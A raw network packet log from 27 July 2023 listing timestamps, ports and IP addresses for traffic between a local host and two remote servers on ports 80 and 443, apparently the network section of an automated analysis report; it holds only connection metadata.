Jul 27, 2023 18:26:45.932367086 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.932400942 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.932413101 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.932449102 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.932496071 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.932554007 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.932600975 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.932646990 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.932652950 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.932693958 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.932739973 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.932784081 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.932796955 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.932831049 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.932852030 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.932878017 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.932924986 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.932974100 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.932996988 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.933021069 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933049917 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.933068991 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933114052 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933159113 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933177948 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.933206081 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933207989 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.933254004 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933299065 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933346033 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933357954 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.933392048 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933408976 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.933439016 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933485031 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933530092 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933553934 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.933576107 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933583975 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.933675051 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933722973 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933769941 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933789015 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.933815002 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933824062 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.933861971 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933907986 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933954000 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.933971882 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.933999062 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934015036 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.934045076 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934092999 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934140921 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934153080 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.934186935 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934206009 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.934236050 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934283018 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934328079 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934344053 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.934374094 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934392929 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.934421062 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934467077 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934514999 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934536934 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.934559107 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934575081 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.934603930 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934649944 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934710979 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.934751034 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934798956 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934818983 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.934842110 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934886932 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934931040 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934947014 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.934974909 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.934993982 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.935019016 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935061932 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935100079 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.935107946 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935152054 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935197115 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935215950 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.935244083 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935252905 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.935287952 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935332060 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935375929 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935383081 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.935420036 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935425043 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.935463905 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935508013 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935551882 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935554981 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.935597897 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935600042 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.935642958 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935687065 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935731888 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935736895 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.935786963 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.935827971 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935873985 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935920000 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935966015 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.935976982 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.936012983 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936019897 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.936057091 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936103106 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936150074 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936156034 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.936196089 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936203957 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.936243057 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936306000 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936351061 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936362028 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.936397076 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936404943 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.936443090 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936486006 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936533928 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936542988 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.936554909 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936574936 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936588049 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.936595917 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936618090 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936631918 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.936636925 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936657906 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936677933 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936692953 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.936697006 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936717987 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936721087 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.936738014 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936758995 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936763048 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.936779022 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936834097 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.936862946 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936886072 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936907053 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936922073 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.936927080 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936949015 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936955929 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.936968088 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.936975002 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.936989069 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937010050 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937020063 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.937031031 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937052011 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937072039 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937084913 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.937093019 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937108994 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.937113047 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937134027 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937146902 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.937155962 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937176943 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937197924 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937202930 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.937221050 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937237978 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.937242985 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937266111 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937274933 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.937285900 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937308073 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937328100 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937330008 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.937346935 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.937350035 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937370062 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937392950 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937403917 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.937412024 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937433958 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.937455893 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.937498093 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.953557968 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.953583002 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.953603029 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.953650951 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.969319105 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.174129009 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.174220085 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.190574884 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.190627098 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.271991968 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.272053003 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.272166014 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.301310062 CEST	49696	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:47.301397085 CEST	443	49696	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:47.301516056 CEST	49696	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:47.334691048 CEST	49696	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:47.334743023 CEST	443	49696	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:47.409024000 CEST	443	49696	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:47.409183025 CEST	49696	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:47.736277103 CEST	49696	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:47.736323118 CEST	443	49696	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:47.737226963 CEST	443	49696	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:47.739551067 CEST	49696	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:47.741813898 CEST	49696	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:47.775546074 CEST	443	49696	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:47.775688887 CEST	443	49696	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:47.776103020 CEST	49696	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:47.826257944 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.826257944 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.842540026 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.842580080 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.887307882 CEST	49696	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:47.887346029 CEST	443	49696	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:47.902904034 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.902937889 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.902962923 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.902982950 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.903004885 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.903023958 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.903028965 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.903043985 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.903064013 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.903084993 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.903094053 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.903094053 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.903105974 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.903126001 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.903130054 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.903146982 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.903156996 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.903197050 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.944143057 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944175005 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944195986 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944216013 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944236994 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944238901 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.944257975 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944293976 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.944294930 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944317102 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944335938 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944356918 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944376945 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944399118 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944420099 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944433928 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.944433928 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.944433928 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.944439888 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944461107 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944463015 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.944479942 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944490910 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.944503069 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944521904 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944530010 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.944544077 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944564104 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944583893 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944586992 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.944603920 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944611073 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.944622040 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.944648981 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.985064983 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985105991 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985126972 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985147953 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985165119 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985177994 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.985184908 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985207081 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985219955 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.985225916 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985245943 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985246897 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.985265017 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985284090 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985286951 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.985301018 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985318899 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.985532045 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985551119 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985572100 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985591888 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985596895 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.985610962 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985630035 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985635996 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.985649109 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985661030 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.985667944 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985687017 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985697031 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.985706091 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985723972 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985732079 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.985743999 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985761881 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985771894 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.985779047 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985797882 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985799074 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.985816002 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985836029 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985836983 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.985855103 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985871077 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985889912 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985893965 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.985909939 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985929012 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985929966 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.985948086 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985954046 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.985965967 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985985041 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.985987902 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.986002922 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.986032009 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.986038923 CEST	80	49695	188.114.97.7	192.168.2.4
